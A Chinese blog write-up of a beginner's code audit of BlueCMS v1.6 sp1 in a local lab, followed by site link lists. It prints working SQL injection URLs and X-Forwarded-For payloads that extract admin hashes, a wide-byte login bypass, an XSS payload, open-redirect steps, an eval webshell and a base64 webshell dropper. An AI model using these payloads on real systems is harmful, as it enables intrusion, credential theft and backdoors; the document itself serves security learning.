一、环境搭建

  • bluecms v1.6 sp1源码
  • windows 7
  • phpstudy2016(php 5.4.45)
  • seay源代码审计系统

源码在网上很容易下载,很多教程说访问地址 http://localhost/bluecms_v1.6_sp1/uploads/install/ 就会进入到安装界面。这里我遇到了一点小问题,访问地址后显示空白,无法进行安装,解决方式是 phpstudy 打开允许目录列表,并且在 bluecms_v1.6_sp1\uploads\install\compile 目录下删掉图中 php 文件,再访问一次安装地址就可以了,然后按照提示进行数据库配置即可成功搭建。

  

二、漏洞列表

2.1SQL注入

用Seay源代码审计系统扫一下,可以发现有很多可能的漏洞,有一些误报,具体审计一下代码吧,先看一下 ad_js.php 文件

定位到该条语句

getone() 是自定义的查询数据库的函数,跟进一下,可以看到插入到数据库查询语句中的 $ad_id 除了 trim 去掉两边空格没有任何的过滤,因而导致了数字型SQL注入,虽然 ad_js.php 还包含了 common.inc.php 文件,common.inc.php 进行了 addslashes($_GET) 转义,但是由于SQL语句中的变量没有使用单引号保护,addslashes 也同时失去了作用

function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}

利用一下这个漏洞,因为方法很常规就只注入到列出表名

http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 order by 7
http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,7//页面空白,查看源码发现打印第7列
http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,database()
http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

2.2XFF头注入、伪造ip

接着查看 Seay 扫到的可疑注入点,看一下 /uploads/include/common.fun.php 代码

$ip 的值从 HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR 等变量中获得,HTTP_CLIENT_IP 这个环境变量没有成标准,很多服务器没法获取。而第二个 HTTP_X_FORWARDED_FOR 可以通过 HTTP 请求头来修改

/**
* 获取用户IP
*/
function getip(){
if (getenv('HTTP_CLIENT_IP')){
$ip = getenv('HTTP_CLIENT_IP');
}elseif (getenv('HTTP_X_FORWARDED_FOR')) {
//获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}elseif (getenv('HTTP_X_FORWARDED')) {
$ip = getenv('HTTP_X_FORWARDED');
}elseif (getenv('HTTP_FORWARDED_FOR')){
$ip = getenv('HTTP_FORWARDED_FOR');
}elseif (getenv('HTTP_FORWARDED')){
$ip = getenv('HTTP_FORWARDED');
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}

全局搜索一下这个函数,除了函数定义以外一共有两处

查看 comment.php 代码,getip() 获取到的 $ip,直接插入到了SQL语句中,没有过滤就执行了,这里是存在SQL注入的。

利用一下这个漏洞,从 comment.php 代码可以推断出,SQL注入出现在对文章进行评论的地方。在模拟发布文章时出现一点问题,发布文章时一定选择新闻分类,但是管理员和普通用户都不能创建分类,只好先把限制分类不能为空的代码注释掉。

首页->会员中心->本地新闻->发布新闻(这里发现写中文内容的话会显示为空,所以测试内容都需要写英文),先评论测试一下,看一下数据表记录的字段默认值

显然回显的位置在 content 字段,所以可以构造 X-Forwarded-For 值注入,先补充前一次查询的 ip 和 is_check 字段完成第一次插入,再构造第二次插入,同时要注意闭合原本语句中的单引号。评论时进行抓包改包,可以看到成功注入并且在评论列表有回显,查到数据库是 bluecms,直接查一下管理员用户名及密码哈希值也可以成功获取。

X-Forwarded-For: 1','1' ),("",'2','2','1','6',(database()),'1','1
X-Forwarded-For: 1','1' ),("",'2','2','1','6',(select concat(admin_name,":",pwd) from blue_admin),'1','1

这样插入完成后的完整 sql 语句是,显然这里的 ip 字段也可以控制,可以在注入的同时达到伪造 ip 的效果

$sql = INSERT INTO ".table('blue_comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '',''),('','2','','','',(select concat(admin_name,':',pwd) from blue_admin),'','', '$is_check')";

2.3XFF头注入2

再从全局搜索看 getip() 函数出现的另一处 common.inc.php,getip() 赋值给变量 $online_ip,再全局搜索这个变量,发现在留言板界面变量也是没有经过过滤,直接插入查询语句,存在SQL注入

利用一下漏洞,测试时发现无论是否留言都会弹出留言内容不能为空,修改前端代码注释掉这个函数,路径是 bluecms_v1.6_sp1\uploads\templates\default\guest_book.htm

因为显然回显位置在 content 字段,所以构造一次插入语句就可以了,可以看到成功注出数据库

X-Forwarded-For: 1',database())-- -

 

2.4宽字节注入

在 common.inc.php 中注意到数据库编码使用的是 gb2312,这有可能导致宽字节注入

找到管理员登录的 bluecms_v1.6_sp1\uploads\admin\login.php,发现验证用户账号密码的函数为 check_admin

在 bluecms_v1.6_sp1\uploads\admin\include\common.fun.php 文件中找到了 check_admin 函数定义,SQL语句变量使用单引号保护,但是 getone() 函数在2.1小节已经分析过了,没有任何的过滤

function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}

并且 login.php 还包含了 bluecms_v1.6_sp1\uploads\admin\include\common.inc.php,这里是将 $_POST 数据进行 addslashes 转义的,刚好可以利用 %df 让转义的反斜线失去作用

if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}

利用一下漏洞,成功以管理员身份登录(注意直接在浏览器输入 %df 会被 urlencode,所以应该抓包发送)

2.5存储型XSS

在 user.php 文件,用户发布新闻功能,发现 content 没有使用 htmlspecialchars() 函数,而是 filter_data(),跟踪看一下,在 /uploads/include/common.fun.php 找到函数定义代码,只过滤了 script,iframe,frame,meta,link 等,这里可以用 a,img 等标签绕过

function filter_data($str)
{
$str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
return $str;
}

利用一下漏洞,因为前端代码还会过滤一些敏感字符,所以所以不直接提交攻击代码,抓包修改 payload,可以看到漏洞利用成功

<img src="" onerror="alert(123456)">

 

2.6任意URL跳转

在 user.php 中,很明显 $act == 'do_login' 是登录功能,看到有一个 $from 变量,再结合登录成功后显示回到该变量指向参数,可以猜测这个 $from 保存来源 url,方便用户登陆后回到原来浏览的页面

全局搜索 $from 并没有被其他函数过滤,直接利用一下(注意 $from 应该和源代码一样 base64 加密),将 http://www.baidu.com 编码为 aHR0cDovL3d3dy5iYWlkdS5jb20= 改包放包后可以看到页面成功跳转到百度

2.7文件包含

user.php 的支付功能,可以通过 $_POST['pay'] 控制文件包含的路径,但是后面拼接了 /index.php

有两种方式可以截断

绕过方法1:%00 截断

条件:magic_quotes_gpc = Off,PHP版本<5.3.4

绕过方法2:路径长度截断

条件:windows 下目录路径最大长度为256字节,超出部分将丢弃;linux 下目录最大长度为4096字节,超出长度将丢弃;PHP版本<5.2.8

由于本地搭建版本是5.4.45,降到 5.2.17 测试一下这个漏洞,这里包含的时候遇到个小问题,注意它的路径是 include 'include/payment/'.$_POST['pay']."/index.php"; 是找这个的相对路径不是 user.php 的

个人资料中可以上传个人头像,上传一个内容为 <?php @eval($_POST['apple']);?> 的 hack.jpg,再查看下路径

文件包含图片马成功

还看到其他方法,在图片中插入重新写入一个马 apple.php 的代码,这样生成新马后蚁剑管理起来会比图片马方便很多

<?php @fputs(fopen(base64_decode('YXBwbGUucGhw'),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydhcHBsZSddKTs/Pg=='));?>

包含一下,看到目录下成功生成木马 apple.php

2.8任意文件删除

user.php 的编辑个人资料功能,直接调用 unlink 函数删除 $_POST['face_pic3'],没有进行相应的检查,存在任意文件删除漏洞

利用一下漏洞,抓包修改 act=edit_user_info ,post 添加 face_pic3,成功删除2.7小节写入的木马 apple.php

三、总结

第一次尝试做cms审计,同种利用方式的漏洞只写了一处,还有一些漏洞没有一一列举出来。bluecms 算是一次入门级的复现加一些自己的思考吧,希望这篇随笔可以在理清自己思路的同时帮助到像我一样的初学者。

这次 cms 审计学习到审计工具存在一些误报,不能过度依赖。跟踪用户输入、查看变量的传递过程,发现一些问题时回溯变量,或者直接挖掘功能点的漏洞,对个别文章进行通读,全局搜索易发生漏洞的函数,按照经验直接测试一些常见的漏洞都是很有效的方法。

还有,读着前辈的代码想起自己上学期的数据库课设,前后端写在一起,逻辑没有这么清晰,也没注意安全方面。这份代码虽然陌生,但是逻辑和功能都很明确,很快就可以明白开发者的思路,下次再有机会做PHP开发要好好借鉴经验啦.

参考:

https://chybeta.github.io/2017/03/14/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BSQL%E6%B3%A8%E5%85%A5%EF%BC%9ABlueCMSv1-6-sp1/

https://blog.szfszf.top/tech/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-bluecms-v1-6/

https://www.cnblogs.com/BOHB-yunying/p/12643510.html

[php代码审计]bluecms v1.6 sp1的更多相关文章

  1. 代码审计入门之BlueCMS v1.6 sp1

    0x00 前言 作为一名代码审计的新手,网上的大佬们说代码审计入门的话BlueCMS比较好,所以我就拿BlueCMS练练.(本人实在是一枚新手,请大佬们多多赐教) 0x01 环境准备 Phpstudy ...

  2. bluecms v1.6 sp1 代码审计学习

    前言 正式开始代码审计的学习,拓宽自己的知识面.代码审计学习的动力也是来自团队里的王叹之师傅,向王叹之师傅学习. 这里参考了一些前辈,师傅的复现经验和bluecms审计的心得 安装 install.p ...

  3. bluecms v1.6 代码审计

    0x01 使用seay源代码审计系统进行审计 扫描到了很多个可疑漏洞,不过工具都有一定的误报,下面我们就逐个进行验证 0x02 /ad_js.php SQL注入漏洞 查看源码,我们发现程序通过GET方 ...

  4. [php审计实战篇]BlueCms v1.6 Union注入

    非常基础的代码审计练习,适合有php基础的审计新手练习 本文作者:Aedoo 来源:i春秋社区 0×01 代码跟踪 首先,进入首页代码 :index.php 包含了php文件:/include/com ...

  5. 乌云1000个PHP代码审计案例(1)

    前两天发现的宝藏网站:https://php.mengsec.com/ 在github上面找到了源代码:https://github.com/Xyntax/1000php,可以在自己的服务器上面搭建 ...

  6. 初审blucms(入坑)

    作为一名初来乍到审计小白,从blueCMS入手再好不过了.通过对入门级的cms进行审计以及一个整体的框架和常见的漏洞学习,对个人而言是一次不错的学习经历.话不多说直接进入主题. 代码审计环境 Blue ...

  7. 代码审计之SQL注入:BlueCMSv1.6 sp1

    Preface 这是一篇纪录关于BlueCMSv1.6 sp1两个SQL注入的审计过程,原文来自代码审计之SQL注入:BlueCMSv1.6 sp1 ,主要纪录一下个人在参考博文复现这两个漏洞经过. ...

  8. Windows 2012 R2中安装SharePoint 2013 sp1参考

    之前介绍过在window 2012中安装SharePoint 2013,这次,借着SharePoint 2013 sp1补丁发布之际,介绍下在window 2012 r2中安装SharePoint 2 ...

  9. SharePoint 2016 必备组件离线安装介绍

    前言 SharePoint 必备组件安装,一直以来都是SharePoint安装过程中的最大的坑,尤其是不能联网的服务器.博主在这里简单介绍一下离线安装过程,并附组件包下载以及安装命令,并且在windo ...

随机推荐

  1. 03 串口发送端口Rs232之简单驱动1

    前言: 最近想实际做两个项目,认真学习怎么做一个系统,所以在看FPGA小梅哥2019的培训课程,发现他是从各个模块讲起,就是没有直接讲一个整体的系统,而是从一些模块开始,如串口发送.刚开始我想直接创造 ...

  2. OpenCV-Python 图像阈值 | 十五

    目标 在本教程中,您将学习简单阈值,自适应阈值和Otsu阈值. 你将学习函数cv.threshold和cv.adaptiveThreshold. 简单阈值 在这里,问题直截了当.对于每个像素,应用相同 ...

  3. MATLAB 随机过程基本理论

    一.平稳随机过程 1.严平稳随机过程 clc clear n=0:1000; x=randn(1,1001); subplot(211),plot(n,x); xlabel('n');ylabel(' ...

  4. Python——matplotlib基础绘图函数示例

    1. 2.饼图 (1) import matplotlib.pyplot as plt labels='frogs','hogs','dogs','logs'% sizes=[15,30,45,10] ...

  5. ES6规范及语法基础

    var的特点 函数作用域 let的特点 没有变量提升,必须先声明.再调用 同一个作用域下不可以重复定义同一个名称 块级作用域 function fun(){ let a = 10 if(true){ ...

  6. FarmCraft --(树形DP)

    题目描述 In a village called Byteville, there are houses connected with N-1 roads. For each pair of hous ...

  7. PTA数据结构与算法题目集(中文) 7-25

    PTA数据结构与算法题目集(中文)  7-25 7-25 朋友圈 (25 分)   某学校有N个学生,形成M个俱乐部.每个俱乐部里的学生有着一定相似的兴趣爱好,形成一个朋友圈.一个学生可以同时属于若干 ...

  8. 本地Vue项目跨域请求本地Node.js服务器的配置方法

    前言:跨域请求是在本地开发时经常遇到的需求,也很简单,只是几句代码配置一下的问题.我初次配置跨域请求时由于官方的说明太简洁,找到的教程又落伍,调试了一番并没有解决问题,到最后解决问题,已花费了很多时间 ...

  9. iSCSI集群与存储

                                                                                                        ...

  10. readthedocs网托管持多语言文档

    希望在readthedocs上创建支持多语言的文档,效果类似: 通过语言选项,可以切到到不同的语言版本:实现这个目标包含两个主要步骤: 在本地对文档进行翻译 在readthedocs.org上配置翻译 ...